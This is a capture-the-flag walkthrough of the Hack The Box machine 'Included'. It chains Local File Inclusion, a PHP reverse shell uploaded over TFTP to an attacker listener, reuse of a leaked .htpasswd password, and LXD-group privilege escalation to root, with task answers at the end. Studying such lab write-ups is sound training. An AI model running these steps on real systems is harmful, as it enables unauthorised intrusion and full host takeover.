Included
is a machine that teaches some more enumeration techniques, even on a different transport layer protocol, and it also teaches that every penetration tester sometimes needs to use Google to see how to perform certain tasks.
┌──(mrdev㉿mrdev)-[~]
└─$
nmap -sC -sV 10.129.12.38
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 13:53 IST
Nmap scan report for 10.129.12.38
Host is up (0.22s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.12.38/?file=home.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.15 seconds
┌──(mrdev㉿mrdev)-[~]
└─$
┌──(mrdev㉿mrdev)-[~]
└─$
curl 'http://10.129.12.38/?file=
/etc/passwd
'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
┌──(mrdev㉿mrdev)-[~]
└─$
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
┌──(mrdev㉿mrdev)-[~]
└─$
sudo nmap -sU 10.129.12.38
[sudo] password for mrdev:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 14:08 IST
Nmap scan report for 10.129.12.38
Host is up (0.35s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
Nmap done: 1 IP address (1 host up) scanned in 1059.15 seconds
┌──(mrdev㉿mrdev)-[~]
└─$
#
sudo apt-get install tftp
┌──(mrdev㉿mrdev)-[~]
└─$
git clone https://github.com/pentestmonkey/php-reverse-shell.git
┌──(mrdev㉿mrdev)-[~]
└─$
sudo cp php-reverse-shell/php-reverse-shell.php .
┌──(mrdev㉿mrdev)-[~]
└─$
┌──(mrdev㉿mrdev)-[~]
└─$
sudo nano php-reverse-shell.php
┌──(mrdev㉿mrdev)-[~]
└─$
tftp 10.129.12.38
# Connect the server using tftp
tftp> ?
# Print help information
Commands may be abbreviated. Commands are:
connect connect to remote tftp
mode set file transfer mode
put send file
get receive file
quit exit tftp
verbose toggle verbose mode
trace toggle packet tracing
status show current status
binary set mode to octet
ascii set mode to netascii
rexmt set per-packet retransmission timeout
timeout set total retransmission timeout
? print help information
tftp>
put php-reverse-shell.php
# upload the file to tftp
Sent 5686 bytes in 4.1 seconds
tftp>
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.
D:\netcat-win32-1.11_1\netcat-1.11>
nc -lvnp 1234
listening on [any] 1234 ...
D:\netcat-win32-1.11_1\netcat-1.11>
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.183] from (UNKNOWN) [10.129.12.38] 56754
Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
09:27:37 up 55 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
whoami
www-data
$
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@included:/$
ls
ls
bin dev initrd.img lib64 mnt root snap tmp vmlinuz
boot etc initrd.img.old lost+found opt run srv usr vmlinuz.old
cdrom home lib media proc sbin sys var
www-data@included:/$
www-data@included:/$
cd /var/www/html
# Change the directory to web-related files
cd /var/www/html
www-data@included:/var/www/html$
ls -al
ls -al
total 88
drwxr-xr-x 4 root root 4096 Oct 13 19:50 .
drwxr-xr-x 3 root root 4096 Apr 23 2021 ..
-rw-r--r-- 1 www-data www-data 212 Apr 23 2021
.htaccess
-rw-r--r-- 1 www-data www-data 17 Apr 23 2021
.htpasswd
-rw-r--r-- 1 www-data www-data 13828 Apr 29 2014 default.css
drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 fonts
-rw-r--r-- 1 www-data www-data 20448 Apr 29 2014 fonts.css
-rw-r--r-- 1 www-data www-data 3704 Oct 13 19:50 home.php
drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 images
-rw-r--r-- 1 www-data www-data 145 Oct 13 19:49 index.php
-rw-r--r-- 1 www-data www-data 17187 Apr 29 2014 license.txt
www-data@included:/var/www/html$
www-data@included:/var/www/html$
cat .htaccess
cat .htaccess
RewriteEngine On
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user
www-data@included:/var/www/html$
cat .htpasswd
cat .htpasswd
mike:Sheffield19
www-data@included:/var/www/html$
www-data@included:/var/www/html$
su mike
su mike
Password:
Sheffield19
mike@included:/var/www/html$
whoami
whoami
mike
mike@included:/var/www/html$
mike@included:/var/www/html$
cd ../../.
.
cd ../../..
mike@included:/$
cat /home/mike/user.txt
cat /home/mike/user.txt
****************************
mike@included:/$
mike@included:/$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
mike@included:/$ groups
groups
mike lxd
mike@included:/$
Enumeration
Click on Spawn machine to find out the target IP address:
As always, we begin by scanning the target for open ports:
The scan shows only port 80 TCP open, which seems to be running
Apache version 2.4.29
. Let's navigate to port 80 using the browser:
The webpage features the landing page for a Gear
manufacturing company. It does not seem to contain anything of interest,
however, if we take a look at the URL we can see that this has automatically
changed to this URL.
http://{Target IP}/?file=home.php
This is a common way that developers use to dynamically
load pages in a website and if not programmed correctly it can often lead to
the webpage being vulnerable to Local File Inclusion(LFI), but more about that in a
bit.
Local File Inclusion (LFI)
We can easily determine if this is the case by attempting to
load a file that we know definitely exists on the system and is readable by all
users. One of those files is
/etc/passwd
and to load it, change the file
parameter from
home.php
to
/etc/passwd
. For consistency reasons, we will show
this process with the cURL command-line utility instead of a browser.
This is successful and a list of users is returned. It is
worth noting that inputting /etc/passwd might not always work if the
inclusion already specifies a working directory.
TFTP (Trivial File Transfer Protocol)
Back to the task at hand, while a Local File Inclusion is a
great way to gather information and read system files the goal of every
Penetration Tester is to achieve Remote Code Execution on a system. There are a
plethora of ways that an LFI can turn into RCE, from log poisoning to plaintext
passwords in configuration files and forgotten backups, however in this case
the passwd file gave us a big hint as to how to proceed.
The last user that is
listed is called TFTP.
A quick Google search reveals that
Trivial File Transfer
Protocol (TFTP) is a simple protocol that provides a basic file transfer function
with no user authentication. TFTP is intended for applications that do not need
the sophisticated interactions that File Transfer Protocol (FTP) provides.
It is also revealed that TFTP uses the User Datagram
Protocol (UDP) to communicate. This is defined as a lightweight data transport
protocol that works on top of IP.
Enumerate UDP ports using Nmap
To this end let's use Nmap to scan for open UDP ports. It is
worth noting that a UDP scan takes a considerably longer time to complete
compared to a TCP scan and it also requires superuser privileges.
The scan reveals that port 69 UDP is open and an instance of
the TFTP server is running on it.
Installing TFTP
In order to communicate with TFTP, we need to
install it on our Linux machine.
Once the tool is installed its manual page can assist with
its usage.
Foothold
Acquiring Server Foothold via TFTP and File Traversal Vulnerability
TFTP works by default without the need for authentication.
That means that anyone can connect to the TFTP server and upload or download
files from the remote system.
We can chain this with the LFI vulnerability that
we have already identified, in order to upload malicious PHP code to the target
system that will be responsible for returning a reverse shell to us. We will
then access this PHP file through the LFI and the webserver will execute the
PHP code.
We can either create our own PHP code or use one of the many
available PHP reverse shells that can be found online through a Google search. Click here.
Clone the Php-reverse shell and Copy the mrdev home directory.
Then open it using a text editor such as Nano or vim and edit the IP
and Port.
The port variable specifies the local port that we will use to catch the reverse shell. This can be anything we want as long as it is not already being used by a local process. Let's leave it to
1234. The IP variable specifies the local IP address that the shell will be returned to. We can acquire this IP from
OpenVPN.
After acquiring the local IP, change it in the PHP shell and
save it. Then we will upload the file to the remote TFTP server.
Now that the file has been uploaded, we need to start a
local Netcat listener on the port that we specified in the reverse shell, in
order to catch the connection once it initiates.
Finally, we must find a way to access the uploaded PHP file
through the LFI but we do not know where the file is uploaded on the target
system. Thinking back to the passwd file that we read earlier, the TFTP user's
home folder is specified as
/var/lib/tftpboot
. This information can also be found with a quick Google
search.
With this information let's try to load
/var/lib/tftpboot/shell.php
:
Once this command is run our terminal will appear stuck,
however, our Netcat listener has caught a connection.
The received shell is not fully interactive, however, we can
make it a bit better by using Python3:
With access to the system as the www-data user, we do not
have enough privileges to read the user flag, therefore we need to find a way
to move laterally to user Mike who was also found on the passwd file.
A good place to start our enumeration would be the webserver directory as it often contains configuration files that might include
passwords. The web-related files are usually stored in the
/var/www/html
folder, so that's where we are going to start.
The folder contains two interesting hidden files, .htaccess
and .htpasswd. The .htpasswd file is used to store usernames and passwords for the basic authentication of HTTP users. Let's read both files:
The second file contains credentials for user Mike. Oftentimes users re-use the same passwords for multiple services and accounts and
compromising one of them might mean that all of them are compromised.
If user Mike has used the same password for their system
account, we might be able to use the su-utility to acquire a shell with their
privileges.
This is successful and the user flag is located in
/home/mike:
Privilege escalation
The next step is escalating to the root user in order to
gain the highest privileges on the system. Looking at the groups that user Mike is a member of, the lxd
group is listed.
lxd/lxc Group - Privilege escalation
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make
┌──(mrdev㉿mrdev)-[~/distrobuilder]
└─$
mkdir -p $HOME/ContainerImages/alpine
┌──(mrdev㉿mrdev)-[~/distrobuilder]
└─$
cd $HOME/ContainerImages/alpine
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
--2021-12-29 15:19:33-- https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15227 (15K) [text/plain]
Saving to: ‘alpine.yaml’
alpine.yaml 100%[========================================>] 14.87K --.-KB/s in 0.02s
2021-12-29 15:19:34 (614 KB/s) - ‘alpine.yaml’ saved [15227/15227]
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
[sudo] password for mrdev:
INFO[2021-12-29T15:20:54+05:30] Downloading source
/tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz: 100% (334.10kB/s)
/tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz.asc: 100% (203.17MB/s)
gpg: Signature made Tue 26 Jun 2018 07:54:34 PM IST
<SNIP>
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$
ls
alpine.yaml
lxd.tar.xz rootfs.squashfs
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
LXD is a management API for dealing with LXC containers on Linux systems. It will perform tasks for any members of the local lxd group. It does not make an effort to match the permissions of the calling user to the function it is asked to perform.
Digging a little deeper into LXD and searching for the
keywords LXD Exploit on Google reveals the following information.
A member of the local “
lxd
” group can instantly escalate the
privileges to root on the host operating system. This is irrespective of
whether that user has been granted sudo rights and does not require them to
enter their password. The vulnerability exists even with the LXD snap package.
Learn More:
This is exactly what we need and this HackTricks page
describes the whole exploitation process step by step. The exploit works by
making use of the Alpine image, which is a lightweight Linux distribution based
on a busy box. After this distribution is downloaded and built locally, an HTTP
server is used to upload it to the remote system. The image is then imported
into LXD and it is used to mount the Host file system with root privileges.
Let's begin by installing the Go programming language as
well as some other required packages.
Then we must clone the LXC Distribution Builder and build
it.
After the build is complete let's download the
Alpine YAML
file
and build it:
Once the build is done lxd.tar.xz and rootfs.squashfs will
be available in the same folder:
Sorry to say but we can't transfer these files from here, so first we have to send these files to the XAMPP server on Windows and then start the Apache server.
We will now have to transfer these files to the system through the usage of a Python HTTP server. Run the following command
locally on the same folder:
Download
lxd.tar.xz
and
rootfs.squashfs
files. Once the download is complete move them to
C:\xampp\htdocs
.
Now start the Apache server:
Switch back to the reverse shell on the target system
and download the files.
Note: As shown previously the local IP can be acquired
through the ifconfig command-line utility.
mike@included:/$
cd /tmp
cd /tmp
mike@included:/tmp$
wget http://10.10.14.183:8080/lxd.tar.xz
wget http://10.10.14.183:8080/lxd.tar.xz
--2021-12-29 10:32:08-- http://10.10.14.183:8080/lxd.tar.xz
Connecting to 10.10.14.183:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 868 [application/x-xz]
Saving to: ΓÇÿlxd.tar.xzΓÇÖ
lxd.tar.xz 100%[===================>] 868 --.-KB/s in 0s
2021-12-29 10:32:10 (96.6 MB/s) - ΓÇÿlxd.tar.xzΓÇÖ saved [868/868]
mike@included:/tmp$
wget http://10.10.14.183:8080/rootfs.squashfs
wget http://10.10.14.183:8080/rootfs.squashfs
--2021-12-29 10:32:41-- http://10.10.14.183:8080/rootfs.squashfs
Connecting to 10.10.14.183:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2015232 (1.9M)
Saving to: ΓÇÿrootfs.squashfsΓÇÖ
rootfs.squashfs 100%[===================>] 1.92M 143KB/s in 24s
2021-12-29 10:33:06 (80.8 KB/s) - ΓÇÿrootfs.squashfsΓÇÖ saved [2015232/2015232]
mike@included:/tmp$
mike@included:/tmp$
ls -al
ls -al
total 1980
drwxrwxrwt 2 root root 4096 Dec 29 10:32 .
drwxr-xr-x 24 root root 4096 Oct 11 13:11 ..
-rw-rw-r-- 1 mike mike 868 Dec 29 10:10 lxd.tar.xz
-rw-rw-r-- 1 mike mike 2015232 Dec 29 10:10 rootfs.squashfs
mike@included:/tmp$
mike@included:/tmp$
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
<ge import lxd.tar.xz rootfs.squashfs --alias alpine
mike@included:/tmp$
mike@included:/tmp$
lxc image list
lxc image list
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
| alpine | 82af3b694def | no |
Alpinelinux 3.8 x86_64 (20211229_0950)
| x86_64 | 1.92MB | Dec 29, 2021 at 10:34am (UTC) |
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
mike@included:/tmp$
mike@included:/tmp$
lxc init alpine privesc -c security.privileged=true
lxc init alpine privesc -c security.privileged=true
Creating privesc
mike@included:/tmp$
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
mike@included:/tmp$
lxc start privesc
lxc start privesc
mike@included:/tmp$
lxc exec privesc /bin/sh
lxc exec privesc /bin/sh
~ # ←[6n
# Finally, we can start the container and start a root shell inside it.
~ # ←[6n
id
id
uid=0(root) gid=0(root)
~ # ←[6n
cd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ←[6n
cat root.txt
cat root.txt
c**************************f
Once the transfer finishes, use the ls command to confirm
the files transferred successfully:
The next step is to import the image using the LXC
command-line tool:
To verify that the image has been successfully imported we
can list the LXD images:
Alpine is correctly shown in the image list. We must now set
the security.privileged flag to true, so that the container has all of the
privileges that the root file system has. We will also mount the root file
system on the container in the /mnt folder.
To access the root flag, we can navigate to the
/mnt/root/root
folder.
We successfully got the flag, congratulations!
TASK Solutions
TASK 1: What service is running on the target machine over UDP?
Ans. TFTP
TASK 2: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?
Ans. Local File Inclusion
TASK 3: What is the default system folder that TFTP uses to store files?
Ans. /var/lib/tftpboot/
TASK 4: Which interesting file is located in the web server folder and can be used for Lateral Movement?
Ans. .htpasswd
TASK 5: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?
Ans. LXD
TASK 6: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?
Ans. alpine
TASK 7: What flag do we set to the container so that it has root privileges on the host system?
Ans. security.privileged=true
TASK 8: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?
Ans. /mnt/root/
CybersecMastery
Your trusted source for cybersecurity education, tutorials, and the latest security news. Learn to protect yourself and stay ahead of threats.